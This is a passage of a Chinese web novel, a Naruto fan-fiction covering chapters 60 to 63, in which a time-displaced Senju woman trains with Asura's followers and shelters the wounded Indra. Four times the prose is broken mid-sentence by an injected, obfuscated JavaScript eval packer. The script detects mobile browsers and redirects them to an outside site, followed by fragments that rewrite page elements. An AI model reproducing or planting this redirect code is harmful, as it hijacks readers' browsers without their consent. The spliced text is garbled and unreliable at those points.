等到最后一丝力量都被吸走之后,那股吸力才消失了,大筒木羽衣收手放在背后偷偷撑地,防止脱力倒下。 松萝缓缓睁眼,她只觉得自己在暖洋洋的阳光下睡了一觉,现在浑身充满了力量,不愧是六道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176883|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙人,探查个健康情况都这么特别,彷佛来了一次全身豪华版的洗涤升华。 只是为什么他看上去好像比之前多了好几条皱纹? 大筒木羽衣不知自己现在该作何表情,这一切太荒唐了:“你确实,嗯,很健康,很有活力,很好。” ?不知怎么的,松萝从中听出了一点咬牙切齿的意味。 他停顿几秒,才继续说: “你刚刚说你受过一次濒死的重伤是吗,我猜测就是因为那次让你的身体有了‘危机感’,主动寻求让自己强大的力量,并用来治愈未完全恢复的内伤,所以才会‘闻到香味’。” 但是似乎有点不知节制了,老夫的查克拉倒也罢了,若是对旁人也这般,倒是有点威胁了。 大筒木羽衣:“神树是特别的存在,它孕育了查克拉结晶‘圣果’。曾经,神树因为圣果被我的母亲大筒木辉夜摘下,变成十尾暴走过一段时间,后来辉夜用人类的生命喂养才控制住神树的发狂。我和弟弟用尽全力封印了我们的母亲和神树,但还有小部分的残骸留在各地,我一直都在想办法彻底消灭这些残骸。” 他忽然站起身,往侧门走去,松萝跟着他走到了一个书房一样的地方。 他从书架上拿出一卷记录,并说:“清除的过程并不是很顺利。我们和母亲的大战毁了很多自然的栖息地,污染了水源,破坏了地形。许多普通人流离失所,他们有的不得不依附巨树残骸而生,那能供给生命的源泉——水,但是服用过的人都患上了不明的病,早早地死亡了。” 松萝接过记录,看到了他说的那些病例,明白他是想提醒自己也可能会患上一样的病。 不,这孩子恐怕不会患病。 但是大筒木羽衣没有将此说出来,只是跟她说:“只要跟神树相关,未知就太多了。要是有异状的话,可以来找老夫。” 就像失去查克拉结晶——“圣果”的神树一样,这个孩子的身体游走于暴走和崩溃之间,在不断地渴求查克拉。 也许是来到不同时代的不安感,也许是身体重伤还未好全,总之,这样的不安全因素,他希望能别脱离掌握。 羽衣的身体各处隐隐作痛,这是差点被吸干查克拉的后遗症,此时他有点庆幸早在前两天就已经将大部分力量传给了阿修罗,否则今日会发生什么还是未知——上一个因为强大的查克拉腐蚀了心智的是他的儿子,上上个是他的母亲。 ——不是个坏孩子。 □□丸是这么评价她的。 他是该相信□□丸的判断,还是封印她来避免重蹈母亲的覆辙呢? 在经历过大儿子的反叛之后他对自己的决断的正确与否失去了信心。 羽衣重重地眨了眨眼,问了个不相干的问题:“你今年多大了?” 松萝还没能理解刚刚六道仙人说的事情,这会儿听到问题也只是机械性地报了个数。 羽衣笑了笑,露出了第一个见到松萝以来最温柔的表情:“跟我的儿子一样大啊。就是在练武场被撂倒的那个,你刚刚应该也注意到了。他的名字是阿修罗。” 松萝点点头,她确实注意到了。 “将你的情况告知阿修罗如何?他已经继承了我所有的力量,成为了新一代的忍宗之主,我现在只是一个没有用处的老人罢了。” 60.第 60 章 “这边!” 刚走出道场,松萝就被等候在柱子后面多时的人叫住了。 栗色短发的男子用力地挥了挥胳膊,眼里绽放出异样的神采,额间系着宽厚的白色布条,脸侧两旁垂下来的头发用细绷带束紧,五官端正大气,看着就很容易亲近。 六道仙人的儿子好像有点自来熟。 他脸颊有汗珠滴落,挂着爽朗的笑容走近。 走下台阶离开荫蔽处,松萝抬手挡了一下刺眼的阳光,心想:这笑容,天气都好像没那么热了,难道这就是清爽系帅哥的正确用处? 等到靠近了,阿修罗肢体明显没有刚刚那么自然,单手摸着脑后,话语中也带上了一点点紧张:“你你好,刚刚双海叔跟我说你第一次来,让我带着你到处走走,说不定还能做邻居……” ——邻居啊。 松萝耳边响起刚刚六道仙人最后说的话:“……穿越时空这件事老夫也无能为力,这本就是违反世间规则的,如果没有可去的地方的话,可以在这村里住下。” 虽然是包含了监视意味的邀约,但对人生地不熟的松萝来说却可能是最好的归宿。 她握紧左手,仿佛握住了与之相连的心房。既然她能来,就一定能回。 阿修罗本来是要带她去各处走走的,奈何今日的太阳过于毒辣,商量了一下还是找地方乘凉去了。 乘凉之处在后山的溪涧边,这里树荫密布,溪水淙淙,是个玩耍休息的热门之处。这不,已经有五个先客在了。 三男两女都是二十上下,穿着忍宗标志的白色衣服,有两人粗犷地坐在地上,裤腿均已卷到了膝盖,靠在树干上闭目养神。 还有三人赤脚站在溪水中,身躯挺拔,双手合十,相对而立。 “嘿!大家!” 阿修罗的声音引来了五双眼睛的注视,他们立刻围拢过来,好奇地打量着松萝这个生面孔。 一个国字脸的男性用手肘捅捅阿修罗,催他介绍一下。 “咳咳,她是我父亲的客人,她……” 阿修罗张了张嘴才发现,自己根本不知道从何介绍起,甚至连她的名字都忘了问。 看出了他的为难,松萝自报家门:“千手松萝,我今天来是找宗师解惑,今后可能会常来~” 国字脸的男人立刻兴奋地接话:“那你的问题解决了吗?” 站他旁边的人戳戳他的背,小声说:“肯定是没解决才会以后常来啊,太藏你这个笨蛋。” 剩下的人顿时不知该作何反应,只能露出尴尬而不失礼貌的微笑。 松萝善解人意地转移话题:“你们刚刚在做什么呢?” 赤着脚站在溪水里,按她的经验八成是在抓鱼。她别的料理做的一般,唯有烤鱼拿得出手,一会儿给他们露两手,俘获他们的胃也就抓住了他们的心。 一个左肩垂落着麻花辫的黑发女子微笑:“我们在练习印呢。” 印?是她想的那个吗? 黑发女子双手相对,大拇指与食指重合相触,剩下三只手指交握在一起:“就是这个,这就是印的一种,我们……也想变强,所以寻到机会就在练习结印,你要一起来吗?对了,叫我柑奈就行。” “柑奈可厉害了,我都学了五年了,被她一个月就赶上了。”刚刚最先出声的太藏脸上已经没有了尴尬,表情重新生动了起来,他虽然长相粗犷了一些,但却是最热情外向的一个,让人忍不住就愿意跟他说话,就是太热情了没给人什么说话的机会,“走走走,我们在练习水的绝技,一起来!” 半推搡着,一伙人全部下了水,本来就不宽阔的小溪里这回站了七个人。水流冰冰凉凉的,有点舒服。 松萝刚挽好裤腿,太藏就迫不及待开始了他的教学:“基础的印有十二种,子丑寅卯,辰巳午未,申酉戌亥,通过结印就能将凝练的查克拉通过术放出来……” 旁边还有人纠正他:“你这个手势错了啦,应该像我这样!” “还是我来吧,寅-已……” 看着认真为自己讲解的几人,松萝想起了小时候在千手学堂在平均一天背下结印手势的班级里,就她和千手弥实拉了后腿然后被罚站的事情。 回过神来不禁觉得有点好笑和温暖,她解释:“……其实我……” “哇——” 她的声音被喝彩声盖住了。 原来是柑奈使出了忍术。 她身姿挺拔,眼神锐利,一秒钟内就结了两个印,眯着眼睛散发着“杀气”。 印成,她的指尖向外冒出一条细小的水流,出水速率极慢,水柱稳定了一秒就开始瓦解消散,想被堵塞的水龙头,最后挤出了两滴就彻底干涸了。 柑奈收回手指,满头大汗,甚至站立不稳地倒退了两步,但她的脸上只有喜悦与骄傲。围着她的几个人哇哇大叫,兴奋地鼓起掌来,只有太藏一个人红着眼睛咬手绢。 松萝低头看了一眼没有任何变化的溪流,对比震耳欲聋的欢庆声,嘴角抽搐。 偏偏太藏在这个时候转向松萝:“你也试试吧!” “呃,我就不用了……” 阿修罗以为她是害羞,挤眉弄眼式安慰:“没事,试试而已。水遁可是很好用的,种田养鱼都少不了呢。” 种田养鱼?不要告诉我你们学忍术是为了这个? 耐不住大家一起劝说,松萝还是在她们“鼓励”下勇敢地尝试结印。 想了想刚才错过了坦白会忍术的机会,如今不如坦荡一些。 她熟练地结了44个印,速度快到手上出现残影,成功令所有人看呆了。 ……午-未,结到一半,松萝忽然感到体内有点不对劲,好像是风? 卯-亥……不是风,是什么在体内流动,这,难道是! 丑……是查克拉的流动!!!太快太顺畅了! 最后一个印,酉。 双掌心相对,拇指相触的那一刻,一向较为平静的经络猛地跃动起来,瘪瘪的经脉像被洪水冲刷,干枯的河床吸饱了水分,撑大了一圈,堵塞的堤坝被尽数冲垮,全身被一股清凉的力量充盈。 凉意传到右臂,她凝视手臂内侧,居然看到细细的血管闪着亮绿的荧光,查克拉的水流汩汩地顺着血管汇流到指尖,最前端的指节变成了剔透的翠色,内里深色的细丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196944|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和脉络清晰可见。 松萝抬起手,将翠绿的中指指节置于大拇指之上,翻手掌心向上,将汇聚的力量朝空无一人的地方射出。 “轰隆” 如蛟龙入水,粗壮的水流砸在水面,溅起几乎两人高的瀑布。 “砰砰——” 瀑布坠落,引起接连不断的浪花,溪边的岩石被砸碎,小溪的浅浅石床被砸出又宽又深的大坑,原本七个人站立略显拥挤的小溪如今稍显空荡。 她直接将小溪砸成了大溪,溪面拓宽了三倍不止。 被淋成落汤鸡的众人:…… 当事人默默凝视自己的手,又恢复了肉色。 ——刚刚,是怎么回事? ——好像威力有点不对劲啊? 搞不懂那就——再来一遍:44个印,我再结一遍! 这回仿佛慢动作一般,所有人都看到从她掌心猛地喷出了大量的水,瀑布一般水流不止,大量的白色泡沫显示了水流是有多急。 松萝被溅射的水花迷了眼,下意识将手远离自己,翻转,想着这样水就不会像喷泉一样溅到自己全身了。但下一刻,她的身体似被大力击中,重心不稳地斜着身子向半空中飞射了出去。 松萝看着掌心发出的“高压水炮”以及下方懵逼的十数张脸,默默地伸出另一只手…… 一小会儿之后,地上的青年们仰望着空中飞来飞去的小黑点,大呼牛逼。 平衡了两手高压水炮的人在空中被冷风吹得脸歪嘴巴歪,想的不是“卧槽我能飞了”,而是“谁来救我下去啊救命啊啊”。 …… 事实证明在绝境中人能爆发出前所未有的潜力,松萝在恐高和摔死和晕飞的各种负面影响下,在短短半刻钟内学会了控制方向和速度。 最终自救成功的她扶着墙,狂吐不止。 …… 结束了呕吐的松萝立刻冲去了六道仙人的地方,她要知道自己是怎么了,怎么好像被强化了不止一点点。 六道仙人检查了一下她的经络系统,回复她:很健康。 松萝一脸神奇地摸摸胸口,默默手臂,莫非“吃”点神树残骸还有这种好处? 再详细的六道仙人也表示他不清楚,甚至透露了一点说神树并非此世界本来所有之物,其中奥秘他也未窥得全貌。 推门出去看到六双星星眼后,松萝忽然感受到了一股压力。 不得不答应了柑奈和太藏他们的“求教导”的请求,做好明日再见的约定后,才被阿修罗带着路离开了忍宗。 都忘了问阿修罗关于时空穿越的事情,明天一定! * 如此闹腾了一天之后,松萝去往暂住之处。 那是在一户离家探亲的农户家中,她跟户主商量过要在这里租上一阵子,离忍宗不远,靠山靠水,是个好地方。 一个小院一块田三间房现在只住着她一人。 回去路上下起了小雨,松萝变了片大叶子挡在头上,不过肩膀和裤腿还是不可避免地淋湿了。 她跳到门楣下,伸手推院门时忽然感受到了一丝异样。 太安静了。 61.第 61 章 这里是只有她一个人住没有错,但还有原主人没来得及处理就当附赠给她的两只鸭。这两只鸭平日就吵闹异常,晚上都不消停,她好几次都想把它们宰了。如今这么安静,怕是遭了贼了。 想到这,她推门时就多了几份警惕。 果然,院子里的泥滩里躺着两只鸭子的尸体,但是没有任何脚印。 是个高手。 她抄起墙边的铲子,一个房间一个房间搜查过去。直到最东边的,也是她这几天睡的房间…… 一个浑身是血的泥衣男子俯首躺在她的床上。 松萝:……我的床,脏了。 她怒气冲冲地上前想将人打醒让他赔新床铺的时候,突然看清了他隐在长发中间的脸,大片的黑紫色覆盖在两颊和眼睛周围,灰扑扑的鼻子上有一条血痕,干裂的嘴唇上覆盖着褐色的伤口,下巴上有一圈短短的青黑色胡茬。 又丑又邋遢。 虽然看上去很惨,但她因为床脏了、鸭子死了心情不好,不想对陌生人烂好心,一秒都没犹豫就将人扔到了还在下雨的院子外,然后用四根手指夹着脏掉的床铺枕头跑去后面洗澡间清洗,正好试一下新学会的忍术。 当她晾好用小水炮冲洗干净的床单之后,哼着歌回到房间。 “草。”一种植物。 一个浑身湿透全身是泥的男子仰面躺在她的床上。 甚至头发还在往下滴泥水。 又来! 松萝青着脸哼了一声,走到一边的石椅坐下,盯着男子用超级大的音量说:“装睡什么,都能自己爬回来了,要不要脸啊!把别人家弄得那么脏,真要进来也把头发拧干、把脏衣服脱了再进来啊,知不知道收拾起来很累人的啊……” 在她的逼逼叨叨下,男人似是不堪忍受地睁开了眼,低吼一声:“闭嘴。” 松萝“邪气”地挑了挑眉,用上了话本里看来的欠扁话术:“你让我闭嘴就闭嘴啊,那我多没面子。嘴长在我身上,我爱说话就说话,你管不着。” 男人握拳击了一下床板,艰难抬起上半身,眯着眼睛威胁地说:“再不闭嘴我让你永远都不能说话。” 什么垃圾发言。 她站起来,走到床边,一掌推在男人带伤的肩膀上,突如其来的疼痛令他卸力倒下,撞在床板上发出“砰”地一声。 松萝居高临下地看着他,面上没什么特别的表情,眼神却从下往上打量了男人一遍,缓缓吐出一个字:“脱。” …… 在一番混乱的场面之后,男人光着身子盖上了被子沉沉睡去,松萝独自一人冒雨采药去了。 伤药、退烧药、烧热水,松萝从傍晚忙碌到凌晨,把内服外涂的药全给用上了才去空房歇息。 第二天早上,她倒了杯热水回了自己的房间,一进去男人就被惊醒了。 啧,病没好都这么警觉。 “诺,水。” 男人撑着坐起来,接过热水,不言不语。 松萝看着他沾泥的头发就恶心,立刻退开:“怎么叫你?” “因达。” 松萝一脸嫌弃:“因达是吧,赶紧把你自己收拾干净,要是我下次见到你还这么脏,别怪我把你扔出去。” 男人闻言抬头,黑色的眸子里有疑惑和不解,倒没有昨晚那不可一世的样子那么讨厌。 松萝扔了一套自己不要的衣服给他:“你的衣服太脏了洗不干净,被我扔了。穿这个吧。” 说完她就去看厨房里昨晚放进去蒸的两只鸭子了。拿草绳串了起来,背着出门。只留灶头的小碗上一只孤零零的鸭腿。 …… 松萝出门先卖了一只鸭,再带着剩下的蒸鸭,拐去了忍宗找太藏。昨天跟提到“变强”时阿修罗的反应有些奇怪,她有些在意,而相比柑奈,太藏嘴巴没那么严,更容易套话。 果然,加上鸭肉的贿|赂,太藏像倒豆子一样将之前的事情全都讲了一遍:“唉,他大哥因为不满宗师大人选择了阿修罗作为继承人,叛出忍宗了,那些坏掉的房屋都是因为两人打架。” 懂了,就是嫡长子没被立为储皇,造反了。 这就是我家有皇位要继承的尴尬吧,不患寡而患不均。 换成她巴不得过上“我父亲、我哥或我弟都是忍宗之主,谁敢惹我”的霸王生活。 首领这种东西才是最大的牛马啊,想想她把禺黎城拉扯大的那几年,再想想忙到没时间谈恋爱的两个哥哥,泪流满面了。 他们真是不懂自由的好啊。 太藏还在那边巴拉巴拉:“因陀罗大人虽然是天才,但是太冷酷了,对谁都毫不留情,而且我从来没见过他对谁笑……尤其是那双眼睛,看着怪可怕的。” 松萝:“眼睛?” 他抖了抖身子,像是回想起可怕的事物一般打了个寒颤,手里的鸭腿都不香了:“写轮眼啊,那双血红色的眼睛。” 写轮眼?血继限界? 松萝瞪大眼睛,难道因陀罗是宇智波的先祖吗? 因陀罗又是六道仙人的儿子,四舍五入宇智波是六道仙人的后代??? 她顿时蔫巴了。 这就好比成天跟你一起在村子口打架的黄毛小子摇身一变,成了王族遗落在外的血脉,而她,是真正的丑小鸭。 阿修罗过来的时候看到的就是一脸苦大仇深的松萝,开口说话时多了几分小心翼翼:“还去修行吗?” 她抛开思绪,恢复元气:“去!” * 他们来到一块空地,已经有人聚在一起了,一半是昨日见过的熟面孔。 走近了,听到他们在谈论什么人。 “昨天我们看到大师了!” “听说她之前隐居山林,是被宗师邀请来的……” “对,她说今后会常来忍宗,昨天也答应了要指导我们修行……” 一、二、……、八,松萝双手背在身后,心里默数。 人增加了。 不过大师在哪呢? 他们已经注意到了松萝等人的到来,停下了讨论的声音,齐刷刷转身,对着松萝抱拳躬身,齐声喊道:“大师!” 松萝:?? 她满脸疑惑,不是一起友好修行么,这称呼什么鬼? 身侧的阿修罗偏头,将手挡在嘴边,小声说:“我昨晚只问了几个人要不要一起修行,说你很厉害,没想到今天早上就传成了——你是父亲寻来指导他们的。” 前一场毁天灭地的战斗场景历历在目,虽然这次靠着团结赢了,但人人都感受到了自己的弱小,昨天见识到超强的水龙弹,再传到众人的耳朵里,他们是真的以为松萝是来当特训教师的。 一堆崇拜的目光中,松萝说不出“不”字,眼神飘忽:“……也,也不是不行吧。” 他们叫我大师诶。嘿嘿。 “那就先每个人绕场地跑十圈吧。” * 体能训练加查克拉凝练训练了一上午,所有人都趴在了地上。 松萝维持着高深莫测的表情,矜持地点点头走出了他们的视线。 “我送你!” 还不太熟悉路的松萝跟着阿修罗穿过忍宗居民的住所。 忍宗依山而建,最初只有大筒木羽衣一个人,他将查克拉分给别人,帮助附近的居民改善生活,渐渐地人越聚愈多,形成了现在的大规模。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220639|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每户人家门前都有一块田地,自给自足,多的就分给邻居,讲究和睦。 夏天本该是绿植繁茂,就等着丰收的时候,然而田里的枝叶七零八落,不少断掉的根系裸露在外,看上去已经枯死了。 这也是前几日的大战的后遗症。 许多穿着麻衣的人正在田里调用查克拉松土。 这个时代的忍术远不如后世的精妙,威力也都很小,基本上被用来灌溉、生火、造房子等。 “只有强大的忍术才值得被关注学习”,他们没有这种观念,只要能用就行,不在乎忍术的强弱。 不过现在也稍稍开始在乎了,不知道是好是坏。 想到这里,松萝向阿修罗询问了穿越时空的事情,虽然她觉得六道仙人都做不到的事情,没人能……呸呸呸,不能咒自己,她还想回到“吃饭睡觉打宇智波”的生活呢。 “抱歉,这实在是太,太少见了,我帮不了你……” 阿修罗满脸抱歉,他是个表情生动的人。 “不过!”立刻,他又想起来了什么,挂上笑容,“父亲的藏书阁里说不定有记载!里面有些书他搜罗来后就放那儿了,如果有什么可能的话,也就只有从那里找了。” 他们立刻改道去藏书阁。 藏书阁就在六道仙人的住所隔壁,书阁用石头和木头搭建,光一扇门门就有两人高,怕是忍宗里面最宏伟的建筑了。 “我就这么进去?不用征得宗师的同意吗?” 阿修罗一拍自己胸脯,保证道:“不用!这里本来就是开放的,只是没多少人看书,所以才关着门而已,你看,都没上锁的!” 他轻轻一推,门就开了,扑面而来一股霉味。 这是多久没人进去了。 “咳咳,这多久没打扫了,一定是有人偷懒了”,阿修罗撕下一截袖子递给松萝,示意她蒙上口鼻防止吸入灰尘,然后在前面领路,“除了我哥,几乎没人来这里,但是他十二岁的时候就把这里的书看完了,后来就几乎没人来了。” 松萝将布系在脸上,鼻子间萦绕着一股若有若无的汗味。 松萝:…… 下一秒,她就摘了下来。 系不系都得闻怪味儿,她不系了。 “听上去,你好像并不讨厌你大哥啊。” 阿修罗突然停下来,回过头,眼神里闪过一丝懊恼,接着变为忿忿:“是不是太藏那个大嘴巴跟你说的?” 他只跟我说了因陀罗的叛逃,但是没说你们兄弟俩的感情。 松萝眨巴眨巴眼睛,装作自己什么都不知道的样子。 他叹口气,往里走到一张桌子边,不顾脏污地用袖子一擦,桌面的刻印显露了出来。 两个手牵手的小人。毫无疑问是他们兄弟俩。 “大哥是真正的天才。以前不是人人都能自如调动查克拉的,这一切都发生在他发明结印手势之后。他从小到大学什么都很快,甚至不需要人教,自己就能领悟,曾经是我崇拜的大哥。现在说这些也没用了,他的离开已成事实。” 他的表情看上去很难过,松萝不想继续揭人伤疤,于是转移话题:“这里得有几千册书吧!” 她环视一圈,左六层,右六层,每个书架上都放满了,她要在这里找回家的线索,简直是大海捞针。 “也就一千五百册左右。” 就这个词用得妙。 从前逃过的课,错过的知识,以一种歹毒的方式重新出现了。 果然人年轻时候要好好学习,不然会从别的地方给你补回来。 松萝深呼吸,握紧拳头,充满了斗志。 来吧,不就是一千五百册吗! 62.第 62 章 她随意挑了几本空间忍术相关的,征求同意后带回了住处。 等看到院子里立着的一个高大的身影时她大大地“哦”了一声,好像才想起多了这么个人一样。 因达穿着朴素的女式和服,衣摆只到膝盖,小臂也露出了大半截。倒是能看得出来他认真洗过澡了,白净的脸庞和俊美的五官仿佛跟昨天不是同一个人。 茶色的头发散落在肩头,干裂的嘴唇和不正常泛红的双颊明摆着在说“我又发烧了”。 八成是洗澡太用力了,伤口又发炎了。 啧,麻烦。 松萝踏进院子,走到他对面。 这个人拾掇干净之后还挺耐看,勉强能排进她认识的人里的前三名了。但好看不能当饭吃,尤其这还是个危险的家伙。 “跟我来。” 她一边在前面带路一边说: “伤药退烧药共四钱,留宿一晚二钱,衣服就当送你了,还有采药人工费和敷药的劳务费少算点算五钱,你总共欠我十一钱。” “你需要静养,我可以提供住处也可以提供草药,但我有一个条件。” 两人在屋子里坐下,松萝从布包里拿出一叠书来,推到因达面前,后者看到熟悉的书面后神情也未动分毫,松萝在内心暗暗称奇,看到自己写的书出现在这里居然也没反应吗? 没错,她从忍宗的藏书阁里借出来的是因陀罗著的书。 倒不是她特意在找因陀罗写的书,而是恰巧看到阿修罗在书阁时,落在几本书上的不自然的视线,心里陡然升起带回来试探这个男人的想法。 这个一身伤出现在她的住处的男人,原本穿着的衣服明显是忍宗的衣服,衣襟上纹着黑色勾玉,她过于聪明的小脑袋瓜让她一下子就猜到了这个人的身份——与阿修罗大战中败走的六道仙人的大儿子因陀罗。 她将手指放在最上面的一本书上,指尖有意无意地点过著者的署名,说出了自己的要求:“教我这些书的内容。” 这里的内容全都是关于空间忍术的,时空不分家。 话音一落,四周的空气立刻凝滞了,连带着温度都下降了好几度。 松萝直视着因陀罗的双眼,漆黑的瞳仁里似有浓雾在翻滚,两人的呼吸都放得很轻。 过了好一会儿,空气里才远远传来一声“好”。 松萝收回手,挂上了得逞的笑容,语调都高了几分:“那我去给你煎药,还有记得把头发擦干哦~因~达~老师~” * 然而,第二天她就后悔了。 她根本听不懂因陀罗在讲什么,重新被知识笼罩的阴霾再次重现,就好像有三个扉间在同时讲解他的研究一样,松萝听得昏昏欲睡。 书本用语晦涩难懂,像一坨难啃的肉干。毕竟是古书,很多字她还要辨认上许久,这才起了让忍宗大天才当老师的念头。 现在这情况,也不是到底是昏招还是烂招。 “啪”,手背传来疼痛,她立刻弹起来,瞪着眼对上了一双毫无笑意的黑眼睛。 可恶的家伙,绝对是故意打这么重的。 * 如此坚持了几日早上当“大师”,下午当“学生”的生活,知识没进脑,两只手背倒是红肿了一大片。 于是她大着胆子直接问:“这几本书里的时空忍术都只有空间的变换,为何没有时间的跳跃呢?” 因达愣了一下回答说:“时间的跳跃是不可能的…” “不,是可能的。”松萝用很肯定的语气打断他,然后翻到倒数几页,指着歪斜的几行备注一样的文字问他,“‘强大的能量下时空场的速率会出现紊乱……’,如果能掌握能量大小与速率的变化,正序或负序地运转,不就能人为控制时间了吗?” 他圆圆的眉毛抵在了一起,冷哼:“你知道这需要多大的能量吗,即使有,这并不是在任何地点都能做到的事……” “神树,”她盯着他,认真地问,尽管这已经触及到了禁忌的部分,“神树的力量也不行吗?” 因达放下手中的东西,回视坐着的人,少女认真的样子不像是在开玩笑。 ——那是非常危险的力量,绝对不能触碰,父亲一直那么说。 但是这是那个选择了阿修罗的父亲说的话,那么被放弃的他为什么要继续听那个人的话呢? 他眯起眼:“你想做什么?” 松萝没有立刻回答,而是站起来给自己倒了一杯水。这几天她不光听因达讲时空忍术,还将最近的事情前前后后想了许多遍。 自己会出现在千年以前,可能与当时身上携带的东西有关。 一是□□仙人交给她的救命符,那也许根本不是用来救命,而是用来穿越的。二是一把刻满符咒的三叉苦无,那上面是飞雷神的咒术,是空间忍术。三是个黑色的戒指,上次去章之城避风头的时候堇姬给的,她顺手就塞忍具包里了,这两天翻东西才发现。 这个戒指也是个老熟人,跟她之前在两个神社拿到的是同一款式,内侧还刻着“00”,堇姬说是手下人在探索神社时发现的,很是可疑。 如果不是携带的东西起作用了的话,总不可能是死亡触发的复活点吧,这种可能她才不会去尝试。 这几天她先研究了一下救命符。 符咒是一次性的,用过已经成为一张白纸,她靠着记忆还原了上面的线条去找过□□丸。 这个时代的□□丸说确实有点像他们的国宝“仙人之符”,但他看不懂符咒上的咒印,那是更为古老的东西。 ——那谁懂咒印呢? ——湿骨林或龙地洞的老家伙也许知道,还有一个人类也许也…… 她低头嘬了一口水,垂下眼帘…… 又懂咒印又懂时空忍术的天才就在她眼前。 先搞好关系总没错吧。 “因达,”松萝抬起头,水盈盈的眸子里带上乞求,“能让我成为你的伙伴吗?” 他的回答一定是—— “我不需要伙伴。” 她笑得灿烂:“但是因达不是输了吗?输给了一群人?” “你想说什么?”他的神色肉眼可见地冷下来,这是他最不愿接受的一场战斗。 她就像一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228843|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怀好意的推销员,一点一点地走近,笑容越绽越大:“所以啊,让我们组成同伴吧。” 直到只余一臂距离她才站定,单手撩起右边的发丝,露出精巧耳朵和白皙的脸颊,往下是纤细的脖颈和若隐若现的锁骨。 她踮起脚,仰起头,蝶翼般的睫毛轻闪,如幽兰般的气息在空气中缓缓散开,她轻轻地说: “你不是问我想做什么吗?我想试试神树的力量能不能炸出个高速的能量场。” * “咚咚咚咚!哐哐哐!” “啊———咚!” 木砧板上粘着一团已经看不出原样的肉饼,菜刀半个身子没入砧板,鲜红色血沫子溅得四处都是,配上持刀人现在狰狞的面孔,与凶杀现场大差不离了。 “啊,气死我了!” 松萝脑海里不禁回想起昨天的事情,又羞又气。 她连“色|诱”这种招数都用上了,但还是被拒绝了…… “既然知道尾兽的事情,那你也应该知道神树为什么被封印。” “不巧,我是想向背离我的人复仇,但我可没有当园艺工的兴趣。” “我不需要同伴,但是如果你想成为我的部下的话,倒勉强堪用。” “还有,个子太矮了。” ……听到最后,松萝直接心态爆炸,气呼呼地转身就走。 好吧,她是冒出了一点点危险的想法,但是也就是想想。她答应过二哥,不再做超出能力范围的事情,不再去试图掌握不属于自己的力量。但是试探出因陀罗没有利用神树的心思也算一个大收获吧。先恭喜六道仙人了,操心的事情可以少一样。 但是果然很气人啊,活该被孤立! 矮怎么了,吃他家大米了吗? 全身上下只有脑子是好的!烂人! 她将剁好的肉饼扔进煮沸的大铁锅热汤里,从旁边抓起一把盐粒随手一扔,盖上锅盖,默数到了五十,开锅,捞起肉饼,单手托着盘子就去了她的房间——没错,这里采光最好,最大的那个房间也是她原来住的房间被那家伙占了! “砰”,她将盘子放在桌上,故意发出刺耳的噪声,正在看书的男人却连看都没看她一眼,倒让松萝内心烦躁更盛了。 因达只尝了一口就放下了筷子,看向她:“你若不愿意继续上课可以直说,不必做这种东西来糟蹋食材。” 松萝:???老娘亲手做的菜你还不满意了是吧? 她抄起筷子自己夹了一口,下一秒就吐了出来:“呸,怎么这么咸!” 是那把盐粒吗?可是水放得多盐不应该多放点吗? 明白是自己的问题,她难免底气没那么足,从旁边拿了水来,把肉饼在清水里过了一遍,低声说:“现在应该没那么咸了。” 咸是不咸了,但过了趟凉水,热乎乎的肉饼也凉透了。 因达看她一眼,最终没说什么就吃完了。 这几日他也看出来了,此人做菜永远只有把东西扔进沸水里,加盐煮熟而已。至于每日是咸是淡全看她心情。 ——今日的心情应当不太美妙。 63.第 63 章 “龙地洞的国宝?”□□丸坐在一个水桶上,挠了挠头,“详细的我不太清楚,但好像是跟湖有关吧。你问这个做什么?” 结束今早的训练,松萝特意等在道场旁边的水桶——□□丸最喜欢从这里出来:“就是想着三大圣地之一的妙木山有国宝的话,另外两个地方会不会也有。” 昨天她提起勇气将还原的救命符给因陀罗看了,他一幅淡淡的样子,只扫了一眼,没说看得懂还是看不懂,但是不想帮她的意思是很明显了。 只能想办法求助一下三大圣地的长老们了。 她能通灵灵蛇,去龙地洞的话更方便一点。 